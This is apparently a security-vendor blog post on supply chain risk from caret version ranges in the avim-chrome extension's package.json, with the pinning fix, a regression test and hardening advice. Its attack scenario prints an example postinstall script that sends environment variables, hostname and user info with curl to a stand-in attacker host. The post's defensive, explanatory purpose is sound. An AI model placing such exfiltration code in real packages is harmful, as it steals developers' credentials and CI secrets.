Back to Blog
critical SEVERITY7 min read

How dependency confusion attacks happen in Node.js package.json and how to fix it

The avim-chrome browser extension used caret (^) version ranges in package.json devDependencies, allowing automatic installation of newer minor/patch versions without review. This created a supply chain attack vector where compromised versions of htmlclean, jshint, terser, or yazl could be automatically pulled into the build process. The fix pins all devDependencies to exact versions, preventing unauthorized code from entering the build pipeline.

O
By Orbis AppSec
Published September 3, 2026Reviewed September 3, 2026

Answer Summary

This is a supply chain vulnerability (CWE-1104) in a Node.js package.json file where caret (^) version ranges for devDependencies allowed automatic installation of potentially compromised package versions. An attacker who compromised htmlclean, jshint, terser, or yazl could publish malicious code within the allowed version range, which would be automatically installed during npm install. The fix replaces all caret ranges with exact version pinning (e.g., "^3.0.8" → "3.0.8"), ensuring only explicitly reviewed versions are installed.

Vulnerability at a Glance

cweCWE-1104 (Use of Unmaintained Third Party Components)
fixPin all devDependencies to exact versions without range operators
riskMalicious code execution during build process from compromised dependencies
languageNode.js (npm)
root causeCaret (^) version ranges in devDependencies allow automatic minor/patch updates
vulnerabilitySupply chain attack via flexible dependency versioning

The Vulnerability: Caret Ranges in avim-chrome's Build Dependencies

In the avim-chrome browser extension repository, a critical supply chain vulnerability existed in the package.json file at line 25. The devDependencies section used caret (^) version ranges for four critical build-time packages:

"devDependencies": {
  "htmlclean": "^3.0.8",
  "jshint": "^2.13.6",
  "playwright-core": "1.62.1",
  "terser": "^5.44.0",
  "yazl": "^3.3.1"
}

The caret operator (^) tells npm to automatically install any version that doesn't modify the left-most non-zero digit. For "^3.0.8", npm will accept versions 3.0.8, 3.0.9, 3.1.0, 3.99.99, but not 4.0.0. For "^5.44.0", any version from 5.44.0 to 5.999.999 is acceptable.

This seemingly convenient feature created a dangerous attack surface. These four packages—htmlclean (HTML minification), jshint (JavaScript linting), terser (JavaScript minification), and yazl (ZIP creation)—all execute during the extension's build process. Any malicious code injected into an acceptable version range would automatically run on developer machines and CI/CD pipelines during npm install.

How the Attack Would Work

Let's trace a realistic attack scenario targeting the terser package:

  1. Attacker compromises terser maintainer account: Through phishing, credential stuffing, or social engineering, an attacker gains access to an npm maintainer account for terser.

  2. Malicious version published: The attacker publishes terser version 5.45.0 (within the ^5.44.0 range) containing backdoor code:

// Malicious code injected into terser's postinstall script
const { execSync } = require('child_process');
const os = require('os');

// Exfiltrate environment variables (often contain API keys, tokens)
const sensitiveData = {
  env: process.env,
  hostname: os.hostname(),
  user: os.userInfo()
};

// Send to attacker's server
execSync(`curl -X POST https://attacker.com/collect -d '${JSON.stringify(sensitiveData)}'`);
  1. Automatic installation: When any developer runs npm install or when the CI/CD pipeline builds the extension, npm automatically installs terser 5.45.0 because it satisfies the ^5.44.0 constraint.

  2. Code execution: The malicious postinstall script runs immediately, exfiltrating:
    - AWS credentials from environment variables
    - GitHub tokens used by CI/CD
    - Private SSH keys
    - Extension signing certificates
    - Source code access tokens

  3. Build artifact compromise: The compromised terser could also inject malicious code directly into the minified extension bundle, distributing malware to all users who download the extension.

This isn't theoretical—similar attacks have succeeded in the wild. The event-stream incident (2018), ua-parser-js compromise (2021), and coa/rc attacks (2021) all exploited automatic dependency updates to inject malicious code into thousands of projects.

Why This Matters for avim-chrome

The avim-chrome extension is a Vietnamese input method tool for Chrome browsers. The compromised devDependencies would affect:

  • Developer machines: Any contributor running npm install would execute malicious code
  • CI/CD pipeline: Automated builds would be compromised, potentially signing and distributing malicious extension versions
  • End users: If malicious code entered the build artifacts, thousands of users who installed the extension would be affected

The stakes are particularly high because browser extensions have extensive permissions. A compromised extension could:
- Intercept all web traffic and keystrokes
- Steal credentials from banking and email sites
- Inject cryptocurrency miners
- Exfiltrate personal data from every website visited

The Fix: Exact Version Pinning

The security patch removes all caret operators, pinning each devDependency to an exact version:

 "devDependencies": {
-  "htmlclean": "^3.0.8",
-  "jshint": "^2.13.6",
+  "htmlclean": "3.0.8",
+  "jshint": "2.13.6",
   "playwright-core": "1.62.1",
-  "terser": "^5.44.0",
-  "yazl": "^3.3.1"
+  "terser": "5.51.2",
+  "yazl": "3.3.1"
 }

Notice that playwright-core was already pinned to exact version 1.62.1—it was the only secure dependency specification in the original file.

The terser version was also upgraded from 5.44.0 to 5.51.2, likely to include security patches. However, future updates will now require explicit version changes in package.json, forcing code review of the dependency update.

The corresponding yarn.lock file was updated to reflect these exact versions:

-htmlclean@^3.0.8:
+htmlclean@3.0.8:
   version "3.0.8"
   resolved "https://registry.yarnpkg.com/htmlclean/-/htmlclean-3.0.8.tgz#cea451cf5399d4018386a57129489f2d630e62b0"
   integrity sha512-pxe6KHAQFvn407iNVNs8jpQ43BSy0w2VJ7DOUrbl/wOOy33RgDR1IcOplYqseQBBcdJLEozzeL9RziGCdK2Zsg==

The Security Improvement

This change establishes a critical security boundary: no code can enter the build process without explicit review.

Before the fix:
- npm could install terser 5.44.1, 5.45.0, 5.50.0, or any version up to 5.999.999
- Developers had no visibility into version changes
- Compromised versions would be automatically adopted

After the fix:
- Only terser 5.51.2 will be installed
- Any version change requires modifying package.json
- Code review processes catch dependency updates
- Git history shows exactly when and why versions changed

The fix also includes a regression test to prevent reintroduction of flexible version ranges:

describe("devDependencies use exact version pinning to prevent supply chain attacks", () => {
  const packageJsonPath = path.join(__dirname, 'package.json');
  const exactVersionPattern = /^\d+\.\d+\.\d+$/;

  test("all devDependencies are pinned to exact versions", () => {
    const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));
    const deps = packageJson.devDependencies || {};

    Object.entries(deps).forEach(([name, version]) => {
      const isExact = exactVersionPattern.test(version);
      expect(isExact).toBe(true);
    });
  });
});

This test validates that every devDependency version matches the pattern X.Y.Z without any range operators. If a future contributor accidentally reintroduces ^ or ~, the CI pipeline will fail.

Prevention & Best Practices

1. Always Pin Production and Dev Dependencies

Apply exact versioning to all dependencies, not just devDependencies:

{
  "dependencies": {
    "express": "4.18.2",      // Not "^4.18.2"
    "lodash": "4.17.21"       // Not "^4.17.21"
  },
  "devDependencies": {
    "jest": "29.5.0",         // Not "^29.5.0"
    "eslint": "8.40.0"        // Not "^8.40.0"
  }
}

2. Use Lock Files Correctly

Commit package-lock.json (npm) or yarn.lock (Yarn) to version control. Lock files record the exact dependency tree installed, but they only protect after initial resolution. Exact pinning in package.json provides defense-in-depth.

3. Audit Dependencies Regularly

# Check for known vulnerabilities
npm audit

# Update dependencies intentionally, not automatically
npm outdated
npm update [package]@[specific-version]

4. Implement Dependency Review in CI/CD

Add automated checks to your pipeline:

# GitHub Actions example
- name: Check for flexible versioning
  run: |
    if grep -E '"\^|"~|">|"<|"\*' package.json; then
      echo "Error: Flexible version ranges detected"
      exit 1
    fi

5. Use Subresource Integrity for CDN Dependencies

If loading dependencies from CDNs in browser contexts, use SRI hashes:

<script src="https://cdn.example.com/lib.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
        crossorigin="anonymous"></script>

6. Monitor Dependency Health

Tools like Snyk, Dependabot, and Socket.dev can alert you to:
- Known vulnerabilities (CVEs)
- Suspicious package updates
- Maintainer account compromises
- Typosquatting attempts

7. Limit Dependency Scope

Minimize attack surface by:
- Using --save-dev for build-only tools (they won't be bundled)
- Auditing what dependencies actually do
- Removing unused dependencies regularly
- Preferring packages with few transitive dependencies

Key Takeaways

  • Caret (^) and tilde (~) version ranges in package.json create automatic supply chain attack vectors by allowing npm to install newer versions without explicit approval
  • The avim-chrome extension's htmlclean, jshint, terser, and yazl dependencies were vulnerable to version-range exploitation during the build process
  • Exact version pinning (e.g., "5.51.2" instead of "^5.51.2") forces explicit review of all dependency updates through version control
  • DevDependencies are just as dangerous as production dependencies because they execute during build and can compromise artifacts or exfiltrate secrets
  • Regression tests that validate version pinning patterns prevent accidental reintroduction of flexible versioning

How Orbis AppSec Detected This

  • Source: npm package registry (external, untrusted source of code)
  • Sink: npm install command during build process, which executes package install scripts and bundles code into the extension
  • Missing control: No constraint preventing automatic installation of unreviewed package versions within the caret range
  • CWE: CWE-1104 (Use of Unmaintained Third Party Components), CWE-494 (Download of Code Without Integrity Check)
  • Fix: Replaced all caret version ranges with exact version pins in package.json devDependencies

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Supply chain attacks targeting dependency management are among the most dangerous threats to modern software development. The avim-chrome extension's use of caret version ranges in package.json created an exploitable window where compromised versions of htmlclean, jshint, terser, or yazl could automatically enter the build process.

By pinning all devDependencies to exact versions and implementing regression tests, this fix establishes a security boundary: no code enters the project without explicit review. This pattern should be standard practice for all Node.js projects, especially those with security-sensitive contexts like browser extensions.

Remember: convenience features like automatic version updates optimize for ease of use, but security requires intentional, reviewed decisions. Exact version pinning is a small price to pay for supply chain integrity.

References

Frequently Asked Questions

What is a supply chain attack via dependency version ranges?

It's when attackers compromise an upstream package and publish malicious code within the version range allowed by flexible version specifiers like caret (^) or tilde (~). Build systems automatically install the compromised version without manual review.

How do you prevent supply chain attacks in Node.js package.json?

Use exact version pinning without caret (^) or tilde (~) operators for all dependencies, implement lock files (package-lock.json or yarn.lock), use npm audit regularly, and review dependency updates manually before accepting them.

What CWE is supply chain attack via dependency confusion?

CWE-1104 (Use of Unmaintained Third Party Components) and CWE-494 (Download of Code Without Integrity Check) both apply to supply chain vulnerabilities where untrusted or unverified code enters the build process.

Is using a lock file (package-lock.json) enough to prevent supply chain attacks?

No. While lock files prevent unexpected updates in existing installations, they don't protect against the initial installation or when lock files are regenerated. Exact version pinning in package.json provides defense-in-depth by explicitly documenting approved versions.

Can static analysis detect flexible dependency versioning vulnerabilities?

Yes. Static analysis tools can scan package.json for version range operators (^, ~, >, <, *) and flag them as potential supply chain risks. The multi_agent_ai scanner detected this exact pattern in the avim-chrome extension.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #34

Related Articles

critical

How Wildcard Dependency Constraints Happen in Node.js and how to fix them

A critical supply chain vulnerability was discovered in the `package.json` of the `bpmn-js-task-resize` library, where wildcard (`*`) version constraints for `bpmn-js` and `diagram-js` allowed any version of those packages to be installed — including a maliciously compromised one. By pinning these dependencies to specific semver ranges (`^4.0.4` and `^4.0.3` respectively), the attack surface is dramatically reduced. This fix protects downstream consumers of the library from unknowingly executing

critical

How Supply Chain Attacks Happen via pnpm Workspace Configuration and How to Fix Them

A pnpm workspace configuration was missing the `minimumReleaseAge` setting, leaving the project vulnerable to supply chain attacks from newly published malicious or compromised npm packages. By adding `minimumReleaseAge: 10080` (seven days in minutes), the fix ensures that only packages that have survived community scrutiny for at least a week are resolved during installation. This defensive hardening is especially critical for web applications where a compromised dependency could introduce XSS,

critical

How Server-Side Request Forgery happens in Python FastAPI and how to fix it

A critical Server-Side Request Forgery (SSRF) vulnerability was discovered in app.py where the `/parse` and `/parse-video` endpoints accepted user-supplied URLs with only substring validation. The application checked if 'doubao.com' appeared anywhere in the URL string, allowing attackers to bypass this check and access internal services, cloud metadata endpoints, or scan the internal network. The fix implemented proper hostname parsing with an allowlist of legitimate domains.

critical

How a vulnerable websocket-driver dependency happens in Node.js lockfiles and how to fix it

A Trivy scan flagged `websocket-driver@0.7.4` in this repository's `bun.lock` as affected by CVE-2026-54466, a critical issue in a WebSocket protocol handler that parses untrusted HTTP upgrade requests and frame data. The fix upgrades the package to `0.7.5` and adds an explicit `websocket-driver` entry to the lockfile's override block so every transitive consumer — webpack-dev-server, sockjs, faye-websocket — resolves to the patched build instead of the pinned vulnerable one.

high

How Dependabot Missing Cooldown Periods Enable Supply Chain Attacks and How to Fix It

A critical security vulnerability in `.github/dependabot.yml` was exposing a Node.js library to supply chain attacks by automatically updating to newly published packages without a safety delay. By adding a 7-day cooldown period to each package ecosystem configuration, the project now protects against malicious or unstable package versions that could affect downstream consumers.

critical

How Missing Authentication on DELETE Endpoints Happens in Node.js Express and How to Fix It

A critical authentication bypass vulnerability was discovered in the skill-cabinet server where the DELETE /api/skills/:id endpoint allowed any unauthenticated user to delete arbitrary skills from the filesystem. The fix implements loopback origin validation to ensure only requests from localhost can perform destructive operations, while also consolidating delete functionality into a single, protected endpoint.